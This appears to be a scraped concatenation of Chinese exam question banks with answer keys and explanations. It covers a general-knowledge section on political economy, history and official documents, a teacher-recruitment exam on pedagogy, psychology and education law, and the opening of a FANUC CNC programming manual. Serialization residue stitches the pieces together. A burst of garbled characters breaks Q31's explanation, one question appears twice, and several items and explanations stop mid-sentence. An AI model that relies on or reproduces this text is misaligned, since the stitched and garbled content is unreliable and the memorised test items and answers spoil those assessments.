@#@注发属于公文的制发阶段。
@#@@#@ 31、在资本主义市场上,商品出售价格的最低界限是()。
@#@@#@ A、商品的个别价值@#@ B、商品的社会价值@#@ C、商品的生产成本@#@ D、商品的生产价格@#@ 【答案】C@#@ 【解析】本题考查资本。
@#@由社会必要劳动时间形成的价值是社会价值,由个别劳动时间形成的价值是个别价值。
@#@@#@ 在商品经济条件下,商品是按社会价值出卖的。
@#@资本主义企业生产的商品价值(W)包括三个部分:
@#@生产商品所耗费的不变资本价值(c)、可变资本价值(v)和剩余价值(m)。
@#@即W=c+v+m。
@#@其中c+v代表资本家为生产商品所实际耗费的资本额,对资本家来说,就是生产成本。
@#@因此,资本主义가ከᏩ☵ڌ☵ڌ䃠ණ왈ඓ䃠ණ⠌가@#@ 32、“尔曹身与名俱灭,不废江河万古流”,这句诗形容的是()。
@#@@#@ A、建安七子@#@ B、竹林七贤@#@ C、初唐四杰@#@ D、唐宋八大家@#@ 【答案】C@#@ 【解析】这句诗出自唐朝杜甫的《戏为六绝句》之二:
@#@@#@ “王杨卢骆当时体,轻薄为文哂未休。
@#@尔曹身与名俱灭,不废江河万古流。
@#@”这首诗一方面高度赞扬了初唐四杰,另一方面又批评了那些好高骛远、夜郎自大、轻薄为文的人。
@#@后来以“不废江河”赞扬作家或其著作流传不朽。
@#@故选C。
@#@@#@ 33、发文时,请负责人对公文发文稿签署意见,姓名和完整日期的行为,是指()。
@#@@#@ A、复核@#@ B、圈阅@#@ C、签名@#@ D、签发@#@ 【答案】D@#@ 【解析】签发,指主管人审核同意后签字发出,表示负责详细解释对发文进行终审的工作。
@#@故选D。
@#@@#@ 34、古代有一位汉族士大夫教他十七岁的儿子学习鲜卑语、弹琵琶,儿子通晓这些技能之后,以此侍奉达官贵人,深得他们宠爱。
@#@这一情形最不可能发生在()。
@#@@#@ A、北周@#@ B、梁朝@#@ C、北魏@#@ D、北齐@#@ 【答案】B@#@ 【解析】宋、齐、梁、陈是南朝的四个朝代,分别为南朝宋(刘宋)、南朝齐(南齐)、南朝梁(南梁)、南朝陈(南陈),统治阶级为汉族。
@#@而北朝的北周、北魏、北齐的统治者皆出身于鲜卑族,自然多使用鲜卑语。
@#@因此B项当选。
@#@@#@ 35、下列不属于心理学效应的是()。
@#@@#@ A、晕轮效应@#@ B、马太效应@#@ C、破窗效应@#@ D、配位效应@#@ 【答案】D@#@ 【解析】A项“晕轮效应”是指当认知者对一个人的某种特征形成好或坏的印象后,他还倾向于据此推论该人其他方面的特征,其本质上是一种以偏概全的认知上的偏误。
@#@@#@ “晕轮效应”属于心理学效应。
@#@@#@ B项“马太效应”是指好的愈好,坏的愈坏,多的愈多,少的愈少的一种现象。
@#@@#@ “马太效应”属于心理学效应。
@#@@#@ C项“破窗效应”是指一个房子如果窗户破了,没有人去修补,隔不久,其他的窗户也会莫名其妙地被人打破。
@#@@#@ 该理论认为,环境中的不良现象如果被放任存在,会诱使人们仿效,甚至变本加厉。
@#@@#@ “破窗效应”属于心理学效应。
@#@@#@ D项“配位效应”是一种化学变化,指当溶液中存在能与沉淀的结晶离子形成配合物的配位剂时,则沉淀的溶解度增大的现象。
@#@@#@ “配位效应”不属于心理学效应,当选。
@#@@#@ 36、下列关于欧洲河流的特点与形成原因的分析正确的是()。
@#@@#@ A、河网较密,是因为陆地面积小@#@ B、水量充沛,是因为降水量较多@#@ C、无长河,是因为大陆轮廓曲折,又受山岭的限制@#@ D、航运便利,是因为平原面积广,河流之间多运河@#@ 【答案】BCD@#@ 【解析】欧洲陆地面积适中,并不小,且河网较密与陆地面积大小并无直接因果关系。
@#@A项错误。
@#@其他正确。
@#@@#@ 故选BCD。
@#@@#@ 37、将决策附着于官僚体系及其政治运作模式的是()。
@#@@#@ A、伊斯顿@#@ B、阿利森@#@ C、西蒙@#@ D、林德布罗姆@#@ 【答案】B@#@ 【解析】阿利森将决策附着于官僚体系及其政治运作的模式。
@#@@#@ 38、购买了医疗事故责任保险的医生,可能会在给病人看病时花费较少的时间,这种现象属于()。
@#@@#@ A、道德风险@#@ B、逆向选择@#@ C、风险厌恶@#@ D、适应性预期@#@ 【答案】A@#@ 【解析】道德风险又称为败德行为,是指在交易双方达成协议后,协议的一方通过改变自己的行为,来损害对方的利益。
@#@常见于保险市场。
@#@题干所述属于道德风险。
@#@故选A。
@#@@#@ 39、某工厂工作日为8小时,其中必要劳动时间和剩余劳动时间各4小时,月工资总额为5万元,则该工厂资本家每月获得的剩余价值为()万元。
@#@@#@ A、5@#@ B、10@#@ C、30@#@ D、60@#@ 【答案】A@#@ 【解析】本题考查的是剩余价值。
@#@剩余价值率是剩余价值和可变资本的比率,或剩余劳动时间和必要劳动时间的比率。
@#@本题中剩余劳动时间和必要劳动时间都为4小时,剩余价值率为1。
@#@月工资总额为5万元相当于必要劳动时间创造的价值,剩余劳动时间与必要劳动时间是@#@ 1:
@#@1,剩余劳动时间创造剩余价值,所以工人创造的剩余价值也是5万元,故本题选择A选项。
@#@@#@ 40、资本主义经济危机的实质是()。
@#@@#@ A、生产相对过剩@#@ B、整个社会经济生活陷入混乱@#@ C、商品买卖脱节@#@ D、金融企业倒闭@#@ 【答案】A@#@ 【解析】本题考查的是资本主义经济危机的实质。
@#@所谓资本主义经济危机,是指与资本主义经济制度直接有关,由资本主义经济制度因素引起的经济危机,即生产相对过剩的经济危机。
@#@因此,资本主义经济危机的实质是生产相对过剩的危机。
@#@故本题选A。
@#@@#@ 41、平均利润的形成是()。
@#@@#@ A、部门之间竞争的结果@#@ B、部门内部竞争的结果@#@ C、资本有机构成平均化的结果@#@ D、剩余价值率平均化的结果@#@ 【答案】A@#@ 【解析】部门内部的竞争会形成社会必要劳动时间。
@#@部门之间如果资本可以自由转移,则会导致各部门利润的平均化。
@#@故选A。
@#@@#@ 42、亚热带红壤丘陵地区农业综合开发的模式是()。
@#@@#@ A";i:
20;s:
28718:
"@#@ 【教师招聘考试经典题型历年真题可打印】@#@ 江西省九江市都昌县事业单位教师招聘考试《教育基础知识》真题库及答案解析@#@ 注意事项@#@ 1、请用钢笔、圆珠笔或签字在答题卡相应位置填写姓名、准考证号,并用2B铅笔在答题卡指定位置填涂准考证号。
@#@@#@ 2、本试卷均为选择题,请用2B铅笔在答题卡上作答,在题本上作答一律无效。
@#@@#@ 一、单项选择题(在下列每题四个选项中只有一个是最符合题意的,将其选出并把它的标号写在题后的括号内。
@#@错选、多选或未选均不得分。
@#@)@#@ 1、关系转换说认为,迁移的实质是()。
@#@@#@ A、相同要素@#@ B、共同原理@#@ C、顿悟@#@ D、转换@#@ 【答案】C@#@ 【解析】关系转换说认为,迁移的实质是对两次学习情境中原理原则之间关系的“顿悟”。
@#@故选C。
@#@@#@ 2、在()意识状态里,人的意识最清晰,最能集中注意,能够有意识地去完成一件事情。
@#@@#@ A、可控制的@#@ B、白日梦@#@ C、自动化的@#@ D、睡眠@#@ 【答案】A@#@ 【解析】在正常条件下,意识具有四种不同的状态:
@#@可控制的意识状态、自动化的意识状态、白日梦状态、睡眠状态。
@#@在可控制的意识状态,人的意识最清晰,最能集中注意,能够有意识地去做成一件事情,是意识的第一状态。
@#@故选A。
@#@@#@ 3、下面选项中是教学过程中心环节的是()。
@#@@#@ A、激发学习动机@#@ B、领会知识@#@ C、巩固知识@#@ D、运用知识@#@ 【答案】B@#@ 【解析】领会知识是教学过程的中心环节,领会知识包括使学生感知和理解教材。
@#@故选B。
@#@@#@ 【教师招聘考试经典题型历年真题可打印】@#@ 4、六一儿童节上,班主任老师给班里期中考试成绩前十名的同学一人发了一个精美的笔记本。
@#@第十一名到二十名的同学一人一块水果糖,第二十名到第二十五名的同学每人一句口头祝福。
@#@但没有理会排名最后的五名同学。
@#@该班主任违背()。
@#@@#@ A、教师义务@#@ B、教师公正@#@ C、教师良心@#@ D、教师荣誉@#@ 【答案】B@#@ 【解析】教师公正即教师的教育公正,是指教师在教育和教学过程中,公平合理地对待和评价每一个学生。
@#@可以说,教师公正是教师职业道德素养水平的标志。
@#@教师公正主要包含以下三方面:
@#@@#@
(1)坚持真理;@#@@#@
(2)秉公办事;@#@@#@ (3)奖罚分明。
@#@故选B@#@ 5、“衣食足而知荣辱,仓廪实而知礼节”这句话反映人需要具有()@#@ A、自然性@#@ B、层次性@#@ C、选择性@#@ D、动力性@#@ 【答案】B@#@ 【解析】题干意思为粮仓充足才能知道礼仪,丰衣足食才会知晓荣誉和耻辱。
@#@引申为当生理需要得到满足后才会去追求更高层级的需要,体现了人的需要具有层次性。
@#@故选B。
@#@@#@ 6、因材施教的教学原则遵循的是个体身心发展的()规律。
@#@@#@ A、顺序性@#@ B、不平衡性@#@ C、个别差异性@#@ D、互补性@#@ 【答案】C@#@ 【解析】因材施教原则是指教师要从学生的实际情况、个别亀异出发,有的放矢地进行有差别的教学,使每个学生都能扬长避短,获得最佳的发展。
@#@本原则根据的是个体身心发展的个别差异性规律。
@#@故选C。
@#@@#@ 7、成年人杨某对7岁的小明说:
@#@@#@ “你敢砸人家的玻璃,你就是英雄。
@#@”小明听后,拿起一块石头就砸破了小刚家的玻璃。
@#@对小刚家的损失应承担赔偿责任的是()。
@#@@#@ A、杨某和小明的监护人@#@ B、小明的监护人@#@ C、小明@#@ 【教师招聘考试经典题型历年真题可打印】@#@ D、杨某@#@ 【答案】D@#@ 【解析】根据最高人民法院《关于贯彻执行(中华人民共和国民法通则)若干问题的意见(试行)》规定,“教唆、帮助无民事行为能力人实施侵权行为的人,为侵权人,应当承担民事责任。
@#@”题干中的小明只有7岁,属于无民事行为能力人,小明砸玻璃的行为是由杨某教唆所致,所以杨某才是侵权人,损失应由杨某来承担,此时小明充当了杨某侵权的工具。
@#@如果杨某没有教唆,小明造成的侵权行为则由其监护人来承担这一损失。
@#@故选D。
@#@@#@ 8、按照归因理论,“努力”属于()因素。
@#@@#@ A、内部一可控@#@ B、内部一不可控@#@ C、外部一可控@#@ D、外部一不可控@#@ 【答案】A@#@ 【解析】@#@ “努力”是可以凭个人意愿控制的,属于内部可控因素。
@#@故选A。
@#@@#@ 9、将猫、狗、鼠概括为“动物”,属于()。
@#@@#@ A、辨别学习@#@ B、概念学习@#@ C、规则或原理学习@#@ D、言语联结学习@#@ 【答案】B@#@ 【解析】概念学习实质上是掌握同类事物的共同的关键特征。
@#@故选B。
@#@@#@ 10、学生已掌握了“整数加减法”的知识,再学习“小数加减法”的知识,这种学习属于()。
@#@@#@ A、符号学习@#@ B、上位学习@#@ C、下位学习@#@ D、并列学习@#@ 【答案】C@#@ 【解析】这是一种把新的观念归属于认知结构中原有观念的某一部位,并使之相互联系的过程。
@#@这就是下位学习。
@#@故选C。
@#@@#@ 11、小明暑假里在学校打篮球的时候由于跟对方争执打架,被对方打伤造成小腿骨折,下列选项中说法正确的是()。
@#@@#@ A、学校应付直接责任@#@ 【教师招聘考试经典题型历年真题可打印】@#@ B、学校承担部分责任@#@ C、学校不负责任@#@ D、小明自己承担责任@#@ 【答案】C@#@ 【解析】@#@ 《学生伤害事故处理办法》中规定,在放学后、节假日或者假期等学校工作时间以外,学生自行滞留学校或者自行到校发生的事故学校不承担责任。
@#@故选C。
@#@@#@ 12、“以小人之心,度君子之腹”反映的是()。
@#@@#@ A、近因效应@#@ B、刻板印象@#@ C、晕轮效应@#@ D、投射效应@#@ 【答案】D@#@ 【解析】人们在日常生活中常常不自觉地把自己的心理特征(如个性、好恶、欲望、观念、情绪等)归属到别人身上,认为别人也具有同样的特征,如:
@#@自己喜欢说谎,就认为别人也总是在骗自己;@#@自己自我感觉良好,就认为别人也都认为自己很出色等等,这种心理现象称之为“投射效应”。
@#@故选D。
@#@@#@ 13、系统脱敏法的基本原理是()。
@#@@#@ A、经典条件反射@#@ B、恰当的放松@#@ C、用放松对抗焦虑@#@ D、逐级降低焦虑@#@ 【答案】A@#@ 【解析】系统脱敏法源于对动物的实验性神经症的研究,精神病学家沃尔普在实验室中电击铁笼中的猫,每次电击之前先制造一阵强烈的声响。
@#@多次实验之后,只要听到强烈响声或看见铁笼,即使不受电击,猫都会出现明显的植物神经反应。
@#@系统脱敏的基本原理是:
@#@让一个原可引起微弱焦虑的刺激,在求助者面前重复暴露,同时求助者以全身放松予以对抗,从而使这一刺激失去引起焦虑的作用。
@#@其理论基础是经典条件反射。
@#@@#@ B、C、D均属于系统脱敏法运用的手段。
@#@故选A。
@#@@#@ 14、“学然后知不足,教然后知困。
@#@知不足,然后能自反也;@#@知困,然后能自强也。
@#@”下面哪一个词能反映这句话的意思?
@#@()@#@ A、长善救失@#@ B、因材施教@#@ C、教学相长@#@ D、藏息相辅@#@ 【教师招聘考试经典题型历年真题可打印】@#@ 【答案】C@#@ 【解析】这句话的意思是,通过学习才能知道自己的不足,通过教导别人才能知道自己理解不了的地方。
@#@知道自己学业的不足,这样以后才能自我反省;@#@感到困惑,这样以后才能自我勉励。
@#@这反映的是教师的教和学生的学共同进步,体现了教学相长。
@#@故选C。
@#@@#@ 15、“建国君民,教学为先”反映了教育与()的关系。
@#@@#@ A、政治@#@ B、文化@#@ C、经济@#@ D、科技@#@ 【答案】A@#@ 【解析】这句话揭示教育的重要性和教育与政治的关系。
@#@故选A。
@#@@#@ 16、被试本人对自己的人格特征予以评价的方法是()。
@#@@#@ A、自陈量表法@#@ B、主题统觉测验@#@ C、罗夏克墨迹测验@#@ D、句子完成法@#@ 【答案】A@#@ 【解析】自陈量表法是在标准化的技术条件下,对受测者的行为和内部心理变化进行探察和鉴别的方法。
@#@自陈量表法是被试本人对自己的人格特征予以评价。
@#@自陈量表通常也称为人格量表。
@#@故选A。
@#@@#@ 17、“其身正,不令而行;@#@其身不正,虽令不从。
@#@”这说明教师职业道德具有()。
@#@@#@ A、对教师工作的促进作用@#@ B、对教育对象的教育功能@#@ C、对学校文明的示范功能@#@ D、对教师修养的引导功能@#@ 【答案】B@#@ 【解析】教师职业道德对社会成员具有教育价值。
@#@@#@ “其身正,不令而行;@#@其身不正,虽令不从。
@#@”意思是说当管理者自身端正,做出表率时,不用下命令,被管理者也会跟着行动起来;@#@相反,如果管理者自身不端正,而要求被管理者端正,那么纵然三令五申,被管理者也不会服从。
@#@这体现了教师职业道德对教育对象的教育功能。
@#@@#@ 故选B。
@#@@#@ 18、“要尽量多地要求一个人,也要尽可能多地尊重一个人”所体现的德育原则是()。
@#@@#@ A、从学生实际出发的原则@#@ B、知行统一的原则@#@ 【教师招聘考试经典题型历年真题可打印】@#@ C、尊重、信任学生与严格要求学生相结合的原则@#@ D、集体教育和个别教育相结合的原则@#@ 【答案】C@#@ 【解析】要尽量多地要求一个人体现严格要求学生,也要尽可能多地尊重一个人体现出也要尊重和信任学生。
@#@故选C。
@#@@#@ 19、“要尽量多地要求一个人,也要尽可能多地尊重一个人”所体现的德育原则是()。
@#@@#@ A、从学生实际出发的原则@#@ B、知行统一的原则@#@ C、尊重、信任学生与严格要求学生相结合的原则@#@ D、集体教育和个别教育相结合的原则@#@ 【答案】C@#@ 【解析】要尽量多地要求一个人体现严格要求学生,也要尽可能多地尊重一个人体现出也要尊重和信任学生。
@#@故选C。
@#@@#@ 20、主体性教学与下列哪一教学策略有着高度的相似性()。
@#@@#@ A、自主学习@#@ B、合作学习@#@ C、探究学习@#@ D、发现学习@#@ 【答案】A@#@ 【解析】自主学习是与传统的接受学习相对应的一种现代化学习方式。
@#@以学生作为学习的主体,通过学生独立的分析、探索、实践、质疑、创造等方法来实现学习目标。
@#@主体性教学是指在素质教育思想的指导下,在教师有目的、有计划、有组织的指导和引导下,学生自觉、主动地参与教学和其他教育活动,自主地探究知识、发现问题、解决问题。
@#@二者高度相似。
@#@故选A。
@#@@#@ 21、()是每个教育工作者应确立的基本信念。
@#@@#@ A、好的教育就是大力提高学生的成绩@#@ B、升学就是成才,成才就要升学@#@ C、一切为了孩子,为了一切孩子,为了孩子的一切@#@ D、不断充实和提高自己,实现自身的持续发展@#@ 【答案】C@#@ 【解析】新课改理念提倡以人为本,育人为本,“一切为了学生,为了一切学生,为了学生的一切”。
@#@每个教育工作者要以此为基本信念,将“以学生为本”的思想落实在教育教学过程中,充分尊重、关心、信任学生,在教育教学过程中以恰当的方式引导、呵护学生,尊重学生的生命主体意识,把课堂还给学生,让学生@#@ 【教师招聘考试经典题型历年真题可打印】@#@ 发挥教育的@#@ 22、教育与社会诸多因素有密切联系,其中,决定教育领导权和受教育权的是()。
@#@@#@ A、政治与经济制度@#@ B、生产力水平@#@ C、科技水平@#@ D、文化传统@#@ 【答案】A@#@ 【解析】教育的领导权由谁来掌握,这是由社会政治制度直接决定的。
@#@一个国家设立怎样的教育制度,什么人接受什么样的教育,进入不同教育系列的标准怎样确定,基本上是由政治经济制度决定的。
@#@故选A。
@#@@#@ 23、对做好一份工作的奖励,就是这份工作已经圆满完成。
@#@这句话蕴藏着()。
@#@@#@ A、负强化@#@ B、替代强化@#@ C、内在强化@#@ D、外在强化@#@ 【答案】C@#@ 【解析】这句话的意思就是:
@#@圆满完成工作就是最好的奖励。
@#@这是典型的内在强化,无需任何外在的奖励物。
@#@故选C。
@#@@#@ 24、“外行看热闹,内行看门道”体现的知觉特性是()。
@#@@#@ A、选择性@#@ B、整体性@#@ C、理解性@#@ D、恒常性@#@ 【答案】C@#@ 【解析】题干是指内行人看事情看方法看本质,外行人看事情只能看看外表,看看热闹。
@#@知觉理解性即人们以已有的知识经验为基础去理解和解释事物,并用词语加以标志的特性,以使它具有一定的意义。
@#@内行人更能从本质角度去理解事物现象。
@#@故选C。
@#@@#@ 25、某学校准备对学校的20多位进行考核,下列哪一项不属于学校对教师考核内容?
@#@()@#@ A、政治思想@#@ B、业务水平@#@ C、工作成绩@#@ D、课时量@#@ 【答案】D@#@ 【教师招聘考试经典题型历年真题可打印】@#@ 【解析】@#@ 《中华人民共和国教师法》第二十二条规定:
@#@@#@ “学校或者其他教育机构应当对教师的政治思想、业务水平、工作态度和工作成绩进行考核。
@#@教育行政部门对教师的考核工作进行指导、监督。
@#@”故选D。
@#@@#@ 26、教师在设置教学目标时,应当适当高出学生现有的发展水平,并使得学生通过努力能够达到。
@#@这样做的主要理论依据是()。
@#@@#@ A、最近发展区@#@ B、学习定势@#@ C、身心发展规律@#@ D、效果律@#@ 【答案】A@#@ 【解析】教学的可能性由学生的最近发展区决定,“教学应该走在发展的前面”。
@#@故选A。
@#@@#@ 27、衡量受教育者道德修养水平的重要标志是()。
@#@@#@ A、道德认识@#@ B、道德情感@#@ C、道德意志@#@ D、道德行为@#@ 【答案】D@#@ 【解析】道德行为是指人们在一定道德认识或道德情感支配下采取的行动,道德行为是人的品德的一个重要的外部表现。
@#@一个人的道德只有通过道德行为才能表明,因而道德行为是衡量人们道德修养水平的重要标志。
@#@故选D。
@#@@#@ 28、严格的等级性是()教育的显著特征。
@#@@#@ A、原始社会@#@ B、奴隶社会@#@ C、封建社会@#@ D、资本社会@#@ 【答案】C@#@ 【解析】在封建社会中,地主阶级占有生产资料,对农民实行残酷的剥削和压迫,广大的农民过着饥寒交迫的穷困生活,学校教育被地主阶级所垄断。
@#@在我国分拣社会里,学校大体分为官学和私学,官学具有鲜明的等级性。
@#@故选C。
@#@@#@ 29、李老师关心如何教好每一堂课的内容,如何能通过自己的授课提高学生的成绩,这说明李老师的处于()。
@#@@#@ A、关注情景阶段@#@ B、关注学生阶段@#@ 【教师招聘考试经典题型历年真题可打印】@#@ C、关注生存阶段@#@ D、关注自我感受阶段@#@ 【答案】A@#@ 【解析】教师职业生涯关注理论的阶段不包括关注自我感受阶段,故排除D。
@#@关注生存阶段的教师非常关注自己的生存适应性,有些新教师可能会把大量的时间都花在如何与学生搞好个人关系上;@#@把关注的焦点投向了提高学生的成绩即进入了关注情境阶段;@#@在关注学生阶段,教师将考虑学生的个别差异。
@#@题干描述的情况符合关注情景阶段的特征。
@#@故选A。
@#@@#@ 30、范例教学论的代表人物是()。
@#@@#@ A、巴班斯基@#@ B、布卢姆@#@ C、赞可夫和布鲁纳@#@ D、克拉夫基和瓦根舍因@#@ 【答案】D@#@ 【解析】范例教学是对教材中关键性问题的实例进行研究,引导学生理解学科的知识结构,帮助他们选择未来的生活。
@#@其代表人物是克拉夫基和瓦根舍因。
@#@故选D。
@#@@#@ 31、()是教学工作的起始环节、是上好课的先决条件。
@#@@#@ A、备课@#@ B、上课@#@ C、作业布置与反馈@#@ D、课外辅导@#@ 【答案】A@#@ 【解析】教学工作的基本环节包括:
@#@备课、上课、作业布置与反馈、课外辅导、学业成绩评价。
@#@其中备课是教学工作的起始环节,是上好课的先决条件。
@#@故选A。
@#@@#@ 32、小学生在掌握概念时一般先达到()。
@#@@#@ A、符号学习水平@#@ B、感知学习水平@#@ C、表象学习水平@#@ D、概念学习水平@#@ 【答案】A@#@ 【解析】根据知识本身的存在形式和复杂程度,知识学习可以分为符号学习、概念学习和命题学习。
@#@符号学习指学习单个符号或一组符号的意义,或者说学习符号本身代表什么。
@#@中小学生在掌握概念时,其学习往往是分步的,一般是先达到符号学习水平,再提高至概念学习水平。
@#@故选A。
@#@@#@ 【教师招聘考试经典题型历年真题可打印】@#@ 33、主张“有教无类”的中国古代教育家是()。
@#@@#@ A、孔子@#@ B、孟子@#@ C、荀子@#@ D、韩非子@#@ 【答案】A@#@ 【解析】孔子是我国古代最为著名的教育家,他的学生从贵族到平民无所不包,用实际行动践行了“有教无类”的教育思想。
@#@故选A。
@#@@#@ 34、专家和新手相比,专家有更强的记忆能力和解决问题的能力,这是因为()。
@#@@#@ A、专家有更好的记忆品质@#@ B、专家在专业领域有更多的专业知识和特殊的策略@#@ C、专家掌握了一般的记忆策略和解决问题策略@#@ D、专家的智商都比较高@#@ 【答案】B@#@ 【解析】新手阶段的教师是经过系统的教师教育和专业学习,刚刚走上教学工作岗位,比较理性化,处理问题缺乏灵活性、刻板,依赖规定。
@#@其主要需求是了解与教学相关的实际情况,熟悉教学情境,积累教学经验。
@#@而专家阶段的教师是教师发展的最终阶段,只有少部分教师才能达到这个阶段。
@#@其特点在于观察教学情境、处理问题的非理性倾向,教学技能的完全自动化,教学方法的多样化。
@#@因此,专家和新手相比,专家在专业领域有更多的专业知识和特殊的策略。
@#@故选B。
@#@@#@ 35、比较有代表性的教育起源说有生物起源说、劳动起源说和()。
@#@@#@ A、心理起源说@#@ B、生理起源说@#@ C、进化起源说@#@ D、自然起源说@#@ 【答案】A@#@ 【解析】关于教育的起源,有神话起源说、生物起源说、心理起源说、劳动起源说。
@#@故选A。
@#@@#@ 36、加里培林及其心理学派的著作中,被称为“物质或物质化阶段”的是()。
@#@@#@ A、原型设计阶段@#@ B、原型内化阶段@#@ C、原型操作阶段@#@ D、原型定向阶段@#@ 【答案】C@#@ 【教师招聘考试经典题型历年真题可打印】@#@ 【解析】所谓原型操作,即依据心智技能的实践模式,把主体在头脑中应建立起来的活动程序计划,以外显的操作方式付诸执行。
@#@加里培林及其心理学派的著作中,“物质或物质化阶段”是指可以让学生亲自操作实物或实物的模像、图片等物质性的活动。
@#@这一阶段实质是原型操作阶段。
@#@故选C。
@#@@#@ 37、关于陈述性知识,下列说法正确的是()。
@#@@#@ A、主要反映活动的具体过程和操作步骤@#@ B、说明做什么和怎么做@#@ C、可用来区别和辨别事物@#@ D、是一种实践性知识@#@ 【答案】C@#@ 【解析】陈述性知识主要反映事物的状态、内容及事物变化发展的原因,说明事物是什么、为什么和怎么样,一般可以用口头或书面言语进行清楚明白的陈述。
@#@它主要用来描述一个事实或陈述一种观点,因此也称描述性知识。
@#@故选C。
@#@@#@ 38、美国是一个移民国家,学校的学生来自不同的种族与家庭。
@#@通过接受系统的学校教育,学生掌握现代文化知识,建立独特的族群和阶层文化,社会也因此充满了生机和活力。
@#@这主要体现了教育的()。
@#@@#@ A、经济功能@#@ B、文化功能@#@ C、人口功能@#@ D、政治功能@#@ 【答案】B@#@ 【解析】教育作为社会文化的一种特殊的要素和组成部分,在传承和再现文化的过程中,还会调节、促进或阻碍社会文化的传承和变异,从而影响着社会文化演化的进程。
@#@题干所述内容主要体现了教育的文化功能。
@#@@#@ 故选B。
@#@@#@ 39、学与教的过程从宏观上说包括五个要素,下面选项中不属于其中的是()。
@#@@#@ A、学生与教师@#@ B、教育行政部门@#@ C、教学内容@#@ D、教学媒体和教学环境@#@ 【答案】B@#@ 【解析】在宏观上,学与教过程是一个系统过程,该系统包括学生、教师、教学内容、教学媒体和教学环境五种因素,由学习过程、教学过程和评价反思过程这三种过程交织在一起。
@#@故选B。
@#@@#@ 40、以下几项教学工作中,()不属于教学目标设计的范围。
@#@@#@ A、分析教学对象@#@ 【教师招聘考试经典题型历年真题可打印】@#@ B、分析教学内容@#@ C、分析教学过程@#@ D、分析与编制教学目标@#@ 【答案】C@#@ 【解析】教学目标设计的基本步骤包括:
@#@钻研课程目标,分析课程内容;@#@分析学生已有的学习状态;@#@确定教学目标分类;@#@列出综合性目标;@#@陈述異体的行为目标。
@#@故选C。
@#@@#@ 41、教师职业道德规范中的()要求是教师专业发展的不竭动力。
@#@@#@ A、关爱学生@#@ B、教书育人@#@ C、为人师表@#@ D、终身学习@#@ 【答案】D@#@ 【解析】终身学习是时代发展的要求,也是教师职业特点所决定的。
@#@教师必须树立终身学习理念、拓宽知识视野,更新知识结构。
@#@潜心钻研业务,勇于探索创新,不断提高专业素养和教育教学水平,这是促进教师专业发展的不竭动力。
@#@故选D。
@#@@#@ 42、学生做作业时,有的学生喜欢和别人对答案,不敢肯定自己的回答;@#@有的学生坚持自己的答案。
@#@坚信自己答案的学生认知风格属于()。
@#@@#@ A、沉思型@#@ B、冲动型@#@ C、场独立型@#@ D、场依存型@#@ 【答案】C@#@ 【解析】坚信自己答案的学生不受外界的影响,其认知风格属于场独立型。
@#@故选C。
@#@@#@ 43、学生在教师的指导下进行教学的实地测算、生物的植物培养和动物饲养。
@#@属于哪一种教学方法?
@#@()@#@ A、实验法@#@ B、参观法@#@ C、演示法@#@ D、实习作业法@#@ 【答案】D@#@ 【解析】学生在教师的指导下进行数学的实地测算、地理的地形测绘,生物的植物培养和动物的饲养属于实习作业法。
@#@它是教师根据教学大纲的要求,在校内外组织学生实际的学习操作活动,将书本知识应用于实际@#@ 【教师招聘考试经典题型历年真题可打印】@#@ 的一种教学方法。
@#@故选D。
@#@@#@ 44、我国教学理论界形成最早、影响最大的教学过程本质说是()。
@#@@#@ A、发展说@#@ B、特殊认识说@#@ C、学习说@#@ D、实践说@#@ 【答案】B@#@ 【解析】特殊认识说是我国教育界一种影响很大,认同者最多的教学本质观。
@#@故选B。
@#@@#@ 45、教育心理学中各家各派学习理论之争都集中体现在对()的不同解释上。
@#@@#@ A、学习过程@#@ B、教学过程@#@ C、评价过程@#@ D、反思过程@#@ 【答案】A@#@ 【解析】教育心理学中的学习理论包括:
@#@行为主义学习理论,认知学习理论,人本主义学习理论,建构主义学习理论。
@#@这些理论都是针对学习过程而进行的阐述。
@#@故选A。
@#@@#@ 46、取得高级中学教师资格和中等专业学校、技工学校、职业高中文化课、专业课教师资格,应当具备()。
@#@@#@ A、中等师范学校毕业及其以上资格@#@ B、高等师范专科学校或者其他大学专科毕业及其以上学历@#@ C、高等师范院校本科或者其他大学本科毕业及其以上学历@#@ D、大学专科毕业及其以上学历@#@ 【答案】C@#@ 【解析】@#@ 《中华人民共和国教师法》规定,取得高级中学教师资格和中等专业学校、技工学校、职业高中文化课、专业课教师资格,应当具备高等师范院校本科或者其他大学本科毕业及其以上学历;@#@取得中等专业学校、技工学校和职业高中学生实习指导教师@#@ 47、学校开展庆祝“六一”儿童节活动,教师定了一个节目单,有学生提出其中一个节目没有乐趣。
@#@如果你是这个教师,你会怎么做?
@#@()@#@ A、表扬学生提出问题的勇气,并接纳建议,修改节目单@#@ B、为维护教师尊严,表面接受,实际不采纳建议@#@ C、听不进去意见,认为学生考虑问题很片面@#@ D、不接受学生建议,并告诉学生别瞎起哄@#@ 【教师招聘考试经典题型历年真题可打印】@#@ 【答案】A@#@ 【解析】师生之间要建立民主、平等的关系,主要表现为:
@#@教师提出批评,学生能正确对待,虚心接受;@#@学生提出意见,教师能够耐心听取,给予积极响应。
@#@故选A。
@#@@#@ 48、学校教育在个体身心发展过程中起()。
@#@@#@ A、辅助作用@#@ B、主导作用@#@ C、强化作用@#@ D、促进作用@#@ 【答案】B@#@ 【解析】影响人的身心发展主要有四个因素:
@#@遗传、环境、教育和人的主观能动性。
@#@其中,遗传为人的发展提供了可能性,环境为人的身心发展提供了多种可能,学校教育起主导作用。
@#@人的主观能动性是人的发展的内";i:
21;s:
15885:
"FANUC系列使用手册附录二FANUC0数控指令附录一FANUC数控指令格式数控程序是若干个程序段的集合。
@#@每个程序段独占一行。
@#@每个程序段由若干个字组成,每个字由地址和跟随其后的数字组成。
@#@地址是一个英文字母。
@#@一个程序段中各个字的位置没有限制,但是,长期以来以下排列方式已经成为大家都认可的方式:
@#@N-G-X-Y-Z-F-S-T-M-LF行号准备功能位置代码进给速度主轴转速刀具号辅助功能行结束在一个程序段中间如果有多个相同地址的字出现,或者同组的G功能,取最后一个有效。
@#@1行号Nxxxx程序的行号,可以不要,但是有行号,在编辑时会方便些。
@#@行号可以不连续。
@#@行号最大为9999,超过后从再从1开始。
@#@选择跳过符号“/”,只能置于一程序的起始位置,如果有这个符号,并且机床操作面板上“选择跳过”打开,本条程序不执行。
@#@这个符号多用在调试程序,如在开冷却液的程序前加上这个符号,在调试程序时可以使这条程序无效,而正式加工时使其有效。
@#@2准备功能地址“G”和数字组成的字表示准备功能,也称之为G功能。
@#@G功能根据其功能分为若干个组,在同一条程序段中,如果出现多个同组的G功能,那么取最后一个有效。
@#@G功能分为模态与非模态两类。
@#@一个模态G功能被指令后,直到同组的另一个G功能被指令才无效。
@#@而非模态的G功能仅在其被指令的程序段中有效。
@#@例:
